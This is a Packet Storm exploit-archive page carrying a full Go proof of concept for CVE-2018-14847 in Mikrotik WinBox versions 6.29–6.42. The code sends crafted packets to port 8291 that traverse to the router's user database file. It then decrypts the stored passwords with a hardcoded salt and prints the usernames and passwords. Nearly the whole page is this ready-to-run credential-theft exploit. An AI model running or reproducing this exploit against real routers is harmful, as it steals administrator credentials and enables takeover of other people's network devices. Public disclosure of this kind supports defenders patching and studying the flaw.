Lucene search

K
packetstormMaxim YefimenkoPACKETSTORM:148958
HistoryAug 17, 2018 - 12:00 a.m.

Mikrotik WinBox 6.42 Credential Disclosure

2018-08-1700:00:00
Maxim Yefimenko
packetstormsecurity.com
496

0.975 High

EPSS

Percentile

100.0%

`/*  
  
# Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )  
# Author: Maxim Yefimenko ( @slider )  
# Date: 2018-08-06  
# Sotware Link: https://mikrotik.com/download  
# Vendor Page: https://www.mikrotik.com/  
# Version: 6.29 - 6.42  
# Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )  
# CVE: CVE-2018-14847  
# References:  
# ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/  
# ( BasuCert ) https://github.com/BasuCert/WinboxPoC  
# ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp  
# and special thanks to Dmitriy_Area51  
  
*/  
  
package main  
  
import (  
"crypto/md5"  
"fmt"  
"net"  
"os"  
"strings"  
"time"  
)  
  
var (  
a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,  
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,  
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,  
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,  
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,  
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,  
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,  
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,  
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,  
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,  
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,  
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,  
0x00, 0x00}  
  
b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,  
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,  
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,  
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,  
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,  
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,  
0x00, 0x02, 0x00, 0x00, 0x00}  
  
buf = make([]byte, 1024*8)  
)  
  
func checkErr(err error) {  
if err != nil {  
fmt.Println("Error:" + err.Error())  
}  
}  
  
func decryptPassword(user []byte, passEnc []byte) string {  
var passw []byte  
hasher := md5.New()  
hasher.Write(user)  
hasher.Write([]byte("283i4jfkai3389"))  
key := hasher.Sum(nil)  
  
for i := 0; i < len(passEnc); i++ {  
passw = append(passw, passEnc[i]^key[i%len(key)])  
}  
  
return string(ASCIIonly(passw))  
}  
  
func ASCIIonly(s []byte) []byte {  
for i, c := range s {  
if c < 32 || c > 126 {  
return s[:i]  
}  
}  
return s  
}  
  
func extractPass(buff []byte) (s []string) {  
var (  
usr []byte  
pwd []byte  
)  
  
//searching for StartOfRecord  
for i := 0; i < len(buff); i++ {  
  
if i+2 >= len(buff) {  
break  
}  
  
if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {  
// fmt.Printf("Probably user record at offset 0x%.5x\n", i)  
  
//some bytes ahead is enable/disable flag  
i += int((buff[i+2] - 5))  
if i >= len(buff) {  
break  
}  
  
//searching for StartOfRecNumber  
if i+3 >= len(buff) {  
break  
}  
  
for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {  
i++  
if i+3 >= len(buff) {  
break  
}  
}  
  
i += 4  
if i >= len(buff) {  
break  
}  
// fmt.Printf("SORn: 0x%X\n", i)  
  
// comment?  
i += 18  
if (i + 4) >= len(buff) {  
break  
}  
if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {  
if (i+1)+int(buff[i]) >= len(buff) {  
break  
}  
i += int(buff[i])  
} else {  
i -= 18  
}  
  
//searching for StartOfPassword  
if i+4 >= len(buff) {  
break  
}  
  
for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {  
i++  
if i+4 >= len(buff) {  
break  
}  
}  
i += 5  
if (i + 3) >= len(buff) {  
break  
}  
  
if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {  
pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]  
i += int(buff[i-1])  
}  
  
//searching for StartOfUsername  
if i+3 >= len(buff) {  
break  
}  
for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {  
i++  
if i+3 >= len(buff) {  
break  
}  
}  
  
i += 4  
if i >= len(buff) {  
break  
}  
if buff[i] != 0x00 {  
if i+int(buff[i]) >= len(buff) {  
break  
}  
  
usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])  
i += int(buff[i])  
}  
  
decrypted := decryptPassword(usr, pwd)  
//fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)  
  
if len(usr) != 0 {  
s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))  
}  
  
}  
}  
  
return s  
}  
  
func main() {  
  
if len(os.Args) < 2 {  
fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])  
os.Exit(0)  
}  
  
conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))  
  
if err != nil {  
fmt.Println(err.Error())  
return  
}  
  
defer conn.Close()  
  
conn.Write(a)  
reqLen, err := conn.Read(buf)  
checkErr(err)  
if reqLen < 38 {  
panic("First packet is too small")  
}  
  
b[19] = buf[38]  
  
conn.Write(b)  
reqLen, err = conn.Read(buf)  
checkErr(err)  
db := buf[:reqLen]  
  
s := extractPass(db)  
for i, acc := range s {  
data := strings.SplitN(acc, ":", 2)  
fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])  
}  
}  
  
`

0.975 High

EPSS

Percentile

100.0%

Related for PACKETSTORM:148958